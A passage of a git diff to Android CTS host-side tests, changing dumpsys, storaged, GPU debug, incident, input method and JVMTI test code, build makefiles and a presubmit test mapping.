-                        break;
-                    case "pr":
-                        checkProcess(parts);
-                        break;
-                    case "sr":
-                        checkSensor(parts);
-                        break;
-                    case "vib":
-                        checkVibrator(parts);
-                        break;
-                    case "fg":
-                        checkForegroundActivity(parts);
-                        break;
-                    case "fgs":
-                        checkForegroundService(parts);
-                        break;
-                    case "st":
-                        checkStateTime(parts);
-                        break;
-                    case "wl":
-                        checkWakelock(parts);
-                        break;
-                    case "awl":
-                        checkAggregatedWakelock(parts);
-                        break;
-                    case "sy":
-                        checkSync(parts);
-                        break;
-                    case "jb":
-                        checkJob(parts);
-                        break;
-                    case "jbc":
-                        checkJobCompletion(parts);
-                        break;
-                    case "jbd":
-                        checkJobsDeferred(parts);
-                        break;
-                    case "kwl":
-                        checkKernelWakelock(parts);
-                        break;
-                    case "wr":
-                        checkWakeupReason(parts);
-                        break;
-                    case "nt":
-                        checkNetwork(parts);
-                        break;
-                    case "ua":
-                        checkUserActivity(parts);
-                        break;
-                    case "bt":
-                        checkBattery(parts);
-                        break;
-                    case "dc":
-                        checkBatteryDischarge(parts);
-                        break;
-                    case "lv":
-                        checkBatteryLevel(parts);
-                        break;
-                    case "wfl":
-                        checkWifi(parts);
-                        break;
-                    case "m":
-                        checkMisc(parts);
-                        break;
-                    case "gn":
-                        checkGlobalNetwork(parts);
-                        break;
-                    case "br":
-                        checkScreenBrightness(parts);
-                        break;
-                    case "sgt":
-                    case "sgc":
-                        checkSignalStrength(parts);
-                        break;
-                    case "sst":
-                        checkSignalScanningTime(parts);
-                        break;
-                    case "dct":
-                    case "dcc":
-                        checkDataConnection(parts);
-                        break;
-                    case "wst":
-                    case "wsc":
-                        checkWifiState(parts);
-                        break;
-                    case "wsst":
-                    case "wssc":
-                        checkWifiSupplState(parts);
-                        break;
-                    case "wsgt":
-                    case "wsgc":
-                        checkWifiSignalStrength(parts);
-                        break;
-                    case "bst":
-                    case "bsc":
-                        checkBluetoothState(parts);
-                        break;
-                    case "blem":
-                        checkBluetoothMisc(parts);
-                        break;
-                    case "pws":
-                        checkPowerUseSummary(parts);
-                        break;
-                    case "pwi":
-                        checkPowerUseItem(parts);
-                        break;
-                    case "dsd":
-                    case "csd":
-                        checkChargeDischargeStep(parts);
-                        break;
-                    case "dtr":
-                        checkDischargeTimeRemain(parts);
-                        break;
-                    case "ctr":
-                        checkChargeTimeRemain(parts);
-                        break;
-                    case "cpu":
-                        checkUidCpuUsage(parts);
-                    default:
-                        break;
+                    // Note the time fields are measured in milliseconds by default.
+                    switch (parts[3]) {
+                        case "vers":
+                            checkVersion(parts);
+                            break;
+                        case "uid":
+                            checkUid(parts);
+                            break;
+                        case "apk":
+                            checkApk(parts);
+                            break;
+                        case "pr":
+                            checkProcess(parts);
+                            break;
+                        case "sr":
+                            checkSensor(parts);
+                            break;
+                        case "vib":
+                            checkVibrator(parts);
+                            break;
+                        case "fg":
+                            checkForegroundActivity(parts);
+                            break;
+                        case "fgs":
+                            checkForegroundService(parts);
+                            break;
+                        case "st":
+                            checkStateTime(parts);
+                            break;
+                        case "wl":
+                            checkWakelock(parts);
+                            break;
+                        case "awl":
+                            checkAggregatedWakelock(parts);
+                            break;
+                        case "sy":
+                            checkSync(parts);
+                            break;
+                        case "jb":
+                            checkJob(parts);
+                            break;
+                        case "jbc":
+                            checkJobCompletion(parts);
+                            break;
+                        case "jbd":
+                            checkJobsDeferred(parts);
+                            break;
+                        case "kwl":
+                            checkKernelWakelock(parts);
+                            break;
+                        case "wr":
+                            checkWakeupReason(parts);
+                            break;
+                        case "nt":
+                            checkNetwork(parts);
+                            break;
+                        case "ua":
+                            checkUserActivity(parts);
+                            break;
+                        case "bt":
+                            checkBattery(parts);
+                            break;
+                        case "dc":
+                            checkBatteryDischarge(parts);
+                            break;
+                        case "lv":
+                            checkBatteryLevel(parts);
+                            break;
+                        case "wfl":
+                            checkWifi(parts);
+                            break;
+                        case "m":
+                            checkMisc(parts);
+                            break;
+                        case "gn":
+                            checkGlobalNetwork(parts);
+                            break;
+                        case "br":
+                            checkScreenBrightness(parts);
+                            break;
+                        case "sgt":
+                        case "sgc":
+                            checkSignalStrength(parts);
+                            break;
+                        case "sst":
+                            checkSignalScanningTime(parts);
+                            break;
+                        case "dct":
+                        case "dcc":
+                            checkDataConnection(parts);
+                            break;
+                        case "wst":
+                        case "wsc":
+                            checkWifiState(parts);
+                            break;
+                        case "wsst":
+                        case "wssc":
+                            checkWifiSupplState(parts);
+                            break;
+                        case "wsgt":
+                        case "wsgc":
+                            checkWifiSignalStrength(parts);
+                            break;
+                        case "bst":
+                        case "bsc":
+                            checkBluetoothState(parts);
+                            break;
+                        case "blem":
+                            checkBluetoothMisc(parts);
+                            break;
+                        case "pws":
+                            checkPowerUseSummary(parts);
+                            break;
+                        case "pwi":
+                            checkPowerUseItem(parts);
+                            break;
+                        case "dsd":
+                        case "csd":
+                            checkChargeDischargeStep(parts);
+                            break;
+                        case "dtr":
+                            checkDischargeTimeRemain(parts);
+                            break;
+                        case "ctr":
+                            checkChargeTimeRemain(parts);
+                            break;
+                        case "cpu":
+                            checkUidCpuUsage(parts);
+                            break;
+                        default:
+                            break;
+                    }
+                } catch (AssertionError e) {
+                    CLog.e("Assert fail for line <" + line + ">");
+                    throw e;
                 }
             }
         }
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/StoragedDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/StoragedDumpsysTest.java
index 3885f0a..d391b64 100644
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/StoragedDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/StoragedDumpsysTest.java
@@ -122,10 +122,29 @@
                 }
 
                 if (parts[0].equals(DEVICE_SIDE_TEST_PACKAGE)) {
-                    if (Integer.parseInt(parts[6]) >= 8192 && Integer.parseInt(parts[8]) == 0) {
+                    /*
+                     * order of parts in StoragedService::dumpUidRecords
+                     *  [0] DEVICE_SIDE_TEST_PACKAGE
+                     *  [1] read foreground charger_off
+                     *  [2] write foreground charger_off
+                     *  [3] read background charger_off
+                     *  [4] write background charger_off
+                     *  [5] read foreground charger_on
+                     *  [6] write foreground charger_on
+                     *  [7] read background charger_on
+                     *  [8] write background charger_on
+                     */
+                    if ((Integer.parseInt(parts[6]) >= 8192 && Integer.parseInt(parts[8]) == 0) ||
+                        (Integer.parseInt(parts[2]) >= 8192 && Integer.parseInt(parts[4]) == 0)) {
                         System.out.print("WARNING: Background I/O was attributed to the "
                                 + "foreground. This could indicate a broken or malfunctioning "
                                 + "ActivityManager or UsageStatsService.\n");
+                    } else if ((Integer.parseInt(parts[2]) >= 4096 && Integer.parseInt(parts[4]) >= 4096) ||
+                                    Integer.parseInt(parts[4]) >= 8192) {
+                        System.out.print("WARNING: charger on I/O was attributed to "
+                                + "charger off. This could indicate a broken or malfunctioning "
+                                + "ADB USB connection, or device that refuses to charge at the "
+                                + "typical 500mA because it is less than 0.05C.\n");
                     } else {
                         assertTrue((Integer.parseInt(parts[6]) >= 4096 && Integer.parseInt(parts[8]) >= 4096) ||
                                     Integer.parseInt(parts[8]) >= 8192);
diff --git a/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java b/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
index 96096fb..02ad313 100644
--- a/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
+++ b/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
@@ -199,7 +199,7 @@
         mDevice.executeAdbCommand("shell", "settings", "delete", "global", "enable_gpu_debug_layers");
         mDevice.executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_app");
         mDevice.executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layers");
-        mDevice.executeAdbCommand("shell", "setprop", "debug.vulkan.layers", "\'\"\"\'");
+        mDevice.executeAdbCommand("shell", "setprop", "debug.vulkan.layers", "\'\'");
     }
 
     /**
diff --git a/hostsidetests/incident/Android.mk b/hostsidetests/incident/Android.mk
index 8900b76..898400d 100644
--- a/hostsidetests/incident/Android.mk
+++ b/hostsidetests/incident/Android.mk
@@ -24,9 +24,7 @@
 
 LOCAL_MODULE := CtsIncidentHostTestCases
 
-LOCAL_PROTOC_OPTIMIZE_TYPE := full
-LOCAL_STATIC_JAVA_LIBRARIES := platformprotos
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util platformprotos
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/incident/apps/batterystatsapp/Android.mk b/hostsidetests/incident/apps/batterystatsapp/Android.mk
index e1518ef..b057049 100644
--- a/hostsidetests/incident/apps/batterystatsapp/Android.mk
+++ b/hostsidetests/incident/apps/batterystatsapp/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit org.apache.http.legacy
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs junit org.apache.http.legacy
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     ctstestrunner \
diff --git a/hostsidetests/incident/apps/boundwidgetapp/Android.mk b/hostsidetests/incident/apps/boundwidgetapp/Android.mk
index 0b6a884..291fcd1 100644
--- a/hostsidetests/incident/apps/boundwidgetapp/Android.mk
+++ b/hostsidetests/incident/apps/boundwidgetapp/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit android.test.base.stubs
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs junit android.test.base.stubs
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     ctstestrunner \
diff --git a/hostsidetests/incident/apps/errorsapp/Android.mk b/hostsidetests/incident/apps/errorsapp/Android.mk
index ec80ba8..17897d0 100644
--- a/hostsidetests/incident/apps/errorsapp/Android.mk
+++ b/hostsidetests/incident/apps/errorsapp/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_MULTILIB := both
 
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs junit
 
 # Includes the jni code as a shared library
 LOCAL_JNI_SHARED_LIBRARIES := libcrash-jni
diff --git a/hostsidetests/incident/apps/graphicsstatsapp/Android.mk b/hostsidetests/incident/apps/graphicsstatsapp/Android.mk
index ebcea6b..ac3e0fa 100644
--- a/hostsidetests/incident/apps/graphicsstatsapp/Android.mk
+++ b/hostsidetests/incident/apps/graphicsstatsapp/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs junit
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     ctstestrunner \
diff --git a/hostsidetests/incident/apps/graphicsstatsapp/AndroidManifest.xml b/hostsidetests/incident/apps/graphicsstatsapp/AndroidManifest.xml
index cfe80be..d3f8870 100644
--- a/hostsidetests/incident/apps/graphicsstatsapp/AndroidManifest.xml
+++ b/hostsidetests/incident/apps/graphicsstatsapp/AndroidManifest.xml
@@ -20,7 +20,9 @@
 
     <application>
         <uses-library android:name="android.test.runner" />
-        <activity android:name=".DrawFramesActivity" android:label="GraphicsStats Test Activity" />
+        <activity android:name=".DrawFramesActivity"
+                  android:label="GraphicsStats Test Activity"
+                  android:theme="@style/DefaultTheme"/>
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/hostsidetests/incident/apps/graphicsstatsapp/res/values/themes.xml b/hostsidetests/incident/apps/graphicsstatsapp/res/values/themes.xml
new file mode 100644
index 0000000..b3b1514
--- /dev/null
+++ b/hostsidetests/incident/apps/graphicsstatsapp/res/values/themes.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+
+  http://www.apache.org/licenses/LICENSE-2.0
+
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS,
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.
+-->
+
+<resources>
+    <style name="DefaultTheme" parent="@android:style/Theme.Material.NoActionBar.Fullscreen">
+        <item name="android:windowNoTitle">true</item>
+        <item name="android:windowFullscreen">true</item>
+        <item name="android:windowOverscan">true</item>
+        <item name="android:fadingEdge">none</item>
+        <item name="android:windowBackground">@android:color/white</item>
+        <item name="android:windowContentTransitions">false</item>
+        <item name="android:windowAnimationStyle">@null</item>
+    </style>
+</resources>
\ No newline at end of file
diff --git a/hostsidetests/incident/apps/netstatsapp/Android.mk b/hostsidetests/incident/apps/netstatsapp/Android.mk
index 158fb35..1130668 100644
--- a/hostsidetests/incident/apps/netstatsapp/Android.mk
+++ b/hostsidetests/incident/apps/netstatsapp/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs junit
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     ctstestrunner \
diff --git a/hostsidetests/incident/apps/notificationsapp/Android.mk b/hostsidetests/incident/apps/notificationsapp/Android.mk
index af1619e..b45505a 100644
--- a/hostsidetests/incident/apps/notificationsapp/Android.mk
+++ b/hostsidetests/incident/apps/notificationsapp/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs junit
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     ctstestrunner \
diff --git a/hostsidetests/incident/apps/procstatsapp/Android.mk b/hostsidetests/incident/apps/procstatsapp/Android.mk
index 47b9c77..43159a4 100644
--- a/hostsidetests/incident/apps/procstatsapp/Android.mk
+++ b/hostsidetests/incident/apps/procstatsapp/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs junit
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     ctstestrunner \
diff --git a/hostsidetests/incident/src/com/android/server/cts/SettingsIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/SettingsIncidentTest.java
index 38eefc1..a26c1f9 100644
--- a/hostsidetests/incident/src/com/android/server/cts/SettingsIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/SettingsIncidentTest.java
@@ -25,8 +25,8 @@
 import com.android.incident.Destination;
 import com.android.incident.Privacy;
 import com.android.tradefed.log.LogUtil.CLog;
-import com.google.protobuf.GeneratedMessage;
 import com.google.protobuf.Descriptors.FieldDescriptor;
+import com.google.protobuf.Message;
 
 import java.lang.reflect.Method;
 import java.lang.reflect.Modifier;
@@ -72,7 +72,7 @@
         verifySettings(dump.getGlobalSettings(), filterLevel);
     }
 
-    private static void verifySettings(GeneratedMessage settings, final int filterLevel) throws Exception {
+    private static void verifySettings(Message settings, final int filterLevel) throws Exception {
         verifySettings(getSettingProtos(settings), filterLevel);
 
         final List<SettingsOperationProto> ops = invoke(settings, "getHistoricalOperationsList");
@@ -88,7 +88,7 @@
         }
     }
 
-    private static Map<SettingProto, Destination> getSettingProtos(GeneratedMessage settingsProto) {
+    private static Map<SettingProto, Destination> getSettingProtos(Message settingsProto) {
         CLog.d("Checking out class: " + settingsProto.getClass());
 
         Map<SettingProto, Destination> settings = new HashMap<>();
@@ -116,7 +116,7 @@
                 } else {
                     // Sub messages don't inherit the container's default privacy. If the field had
                     // an annotation, it would override the sub message's default privacy.
-                    settings.putAll(getSettingProtos((GeneratedMessage) o));
+                    settings.putAll(getSettingProtos((Message) o));
                 }
             }
         }
@@ -133,7 +133,7 @@
         }
     }
 
-    private static <T> T invoke(GeneratedMessage instance, String methodName, Object... args)
+    private static <T> T invoke(Message instance, String methodName, Object... args)
             throws Exception {
         final Class<?>[] inputParamTypes = Arrays.stream(args)
                 .map((arg) -> toPrimitive(arg.getClass()))
diff --git a/hostsidetests/inputmethodservice/common/Android.mk b/hostsidetests/inputmethodservice/common/Android.mk
index 94b59c9..a118474 100644
--- a/hostsidetests/inputmethodservice/common/Android.mk
+++ b/hostsidetests/inputmethodservice/common/Android.mk
@@ -41,7 +41,7 @@
 include $(CLEAR_VARS)
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_JAVA_LIBRARIES := junit-host
+LOCAL_JAVA_LIBRARIES := junit
 
 LOCAL_MODULE_TAGS := tests
 
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
index 1727ad7..a85b4d2 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
@@ -41,5 +41,6 @@
 LOCAL_PACKAGE_NAME := CtsInputMethodServiceDeviceTests
 
 LOCAL_SDK_VERSION := test_current
+LOCAL_MIN_SDK_VERSION := 19
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.mk b/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.mk
index 30fdb08..a089809 100644
--- a/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.mk
@@ -36,5 +36,6 @@
 LOCAL_PACKAGE_NAME := EditTextApp
 
 LOCAL_SDK_VERSION := test_current
+LOCAL_MIN_SDK_VERSION := 28
 
 include $(BUILD_PACKAGE)
diff --git a/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk b/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk
index 850b89f..3b98a87 100644
--- a/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/ime1/Android.mk
@@ -37,5 +37,6 @@
 LOCAL_PACKAGE_NAME := CtsInputMethod1
 
 LOCAL_SDK_VERSION := test_current
+LOCAL_MIN_SDK_VERSION := 19
 
 include $(BUILD_PACKAGE)
diff --git a/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk b/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk
index fcd146c..7b9ebeb 100644
--- a/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/ime2/Android.mk
@@ -37,5 +37,6 @@
 LOCAL_PACKAGE_NAME := CtsInputMethod2
 
 LOCAL_SDK_VERSION := test_current
+LOCAL_MIN_SDK_VERSION := 19
 
 include $(BUILD_PACKAGE)
diff --git a/hostsidetests/inputmethodservice/deviceside/provider/Android.mk b/hostsidetests/inputmethodservice/deviceside/provider/Android.mk
index b8f308d..365f792 100644
--- a/hostsidetests/inputmethodservice/deviceside/provider/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/provider/Android.mk
@@ -36,5 +36,6 @@
 LOCAL_PACKAGE_NAME := CtsInputMethodServiceEventProvider
 
 LOCAL_SDK_VERSION := test_current
+LOCAL_MIN_SDK_VERSION := 19
 
 include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/TEST_MAPPING b/hostsidetests/jvmti/TEST_MAPPING
new file mode 100644
index 0000000..43f24b1
--- /dev/null
+++ b/hostsidetests/jvmti/TEST_MAPPING
@@ -0,0 +1,274 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsJvmtiAttachingHostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRedefineClassesHostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest902HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest903HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest904HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest905HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest906HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest907HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest908HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest910HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest911HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest912HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest913HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest914HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest915HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest917HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest918HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest919HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest920HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest922HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest923HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest924HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest926HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest927HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest928HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest930HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest931HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest932HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest940HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest942HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest944HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest945HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest947HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest951HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest982HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest983HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest984HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest985HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest986HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest988HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest989HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest990HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest991HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest992HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest993HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest994HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest995HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest996HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest997HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1900HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1901HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1902HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1903HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1904HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1906HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1907HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1908HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1909HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1910HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1911HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1912HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1913HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1914HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1915HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1916HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1917HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1920HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1921HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1922HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1923HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1924HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1925HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1926HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1927HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1928HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1930HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1931HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1932HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1933HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1934HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1936HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1937HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1939HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1941HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1942HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1943HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1953HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiRunTest1958HostTestCases"
+    },
+    {
+      "name": "CtsJvmtiTaggingHostTestCases"
+    },
+    {
+      "name": "CtsJvmtiTrackingHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/jvmti/allocation-tracking/app/src/android/jvmti/cts/JvmtiTrackingTest.java b/hostsidetests/jvmti/allocation-tracking/app/src/android/jvmti/cts/JvmtiTrackingTest.java
index 6c22f37..b00c1da 100644
--- a/hostsidetests/jvmti/allocation-tracking/app/src/android/jvmti/cts/JvmtiTrackingTest.java
+++ b/hostsidetests/jvmti/allocation-tracking/app/src/android/jvmti/cts/JvmtiTrackingTest.java
@@ -14,6 +14,7 @@
 package android.jvmti.cts;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
 
 import java.util.ArrayList;
 import org.junit.Before;
@@ -61,10 +62,11 @@
 
         enableAllocationTracking(null, false);
 
-        assertEquals(
-                "ObjectAllocated type java.lang.Object/java.lang.Object size 8#"
-                        + "ObjectAllocated type java.lang.Integer/java.lang.Integer size 16#",
-                        getAndResetAllocationTrackingString());
+        String trackingString = getAndResetAllocationTrackingString();
+        String object_line = "ObjectAllocated type java.lang.Object/java.lang.Object size 8#";
+        String integer_line = "ObjectAllocated type java.lang.Integer/java.lang.Integer size 16#";
+        assertTrue("does not contain " + object_line, trackingString.contains(object_line));
+        assertTrue("does not contain " + integer_line, trackingString.contains(integer_line));
 
         l.add(new Float(1.0f));
 
diff --git a/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java b/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java
index 9269a27..3af0b9e 100644
--- a/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java
+++ b/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java
@@ -187,6 +187,11 @@
             throw new IllegalStateException("Incorrect configuration");
         }
 
+        // Wakeup the device if it is on the lockscreen and move it to the home screen.
+        device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        device.executeShellCommand("wm dismiss-keyguard");
+        device.executeShellCommand("input keyevent KEYCODE_HOME");
+
         runner.run(device, mTestPackageName, mTestApk, mAbi.getName());
     }
 
diff --git a/hostsidetests/jvmti/base/app/Android.mk b/hostsidetests/jvmti/base/app/Android.mk
index 1c9b276..fe544d2 100644
--- a/hostsidetests/jvmti/base/app/Android.mk
+++ b/hostsidetests/jvmti/base/app/Android.mk
@@ -20,7 +20,7 @@
 LOCAL_SRC_FILES := $(call all-subdir-java-files)
 LOCAL_SDK_VERSION := current
 LOCAL_DEX_PREOPT := false
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs junit
 LOCAL_STATIC_JAVA_LIBRARIES := \
     ctstestrunner \
     compatibility-device-util \
diff --git a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
index edc685a..68e9aab 100644
--- a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
+++ b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
@@ -57,6 +57,12 @@
             mandatory = true)
     private String mTestApk = null;
 
+    @Option(name = "hidden-api-checks",
+            description = "If we should enable hidden api checks. Default 'true'. Set to 'false' " +
+            "to disable hiddenapi.",
+            mandatory = false)
